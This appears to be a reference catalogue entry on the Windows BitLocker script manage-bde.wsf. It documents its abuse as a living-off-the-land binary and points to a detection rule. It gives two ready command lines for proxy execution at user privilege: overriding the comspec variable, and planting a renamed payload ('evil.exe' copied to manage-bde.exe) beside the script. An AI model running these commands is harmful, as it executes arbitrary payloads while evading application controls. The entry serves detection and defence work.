Manage-bde.wsf
Script for managing BitLocker
Paths
C:\Windows\System32\manage-bde.wsf
Commands
Execute
Set the comspec variable to another executable prior to calling manage-bde.wsf for execution.
Use case: Proxy execution from script
Privileges: User
set comspec={PATH_ABSOLUTE:.exe} & cscript c:\windows\system32\manage-bde.wsf
Execute
Run the manage-bde.wsf script with a payload named manage-bde.exe in the same directory to run the payload file.
Use case: Proxy execution from script
Privileges: User
copy c:\users\person\evil.exe c:\users\public\manage-bde.exe & cd c:\users\public\ & cscript.exe c:\windows\system32\manage-bde.wsf
Detection
- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_manage_bde.yml
- IOC: Manage-bde.wsf should not be invoked by a standard user under normal situations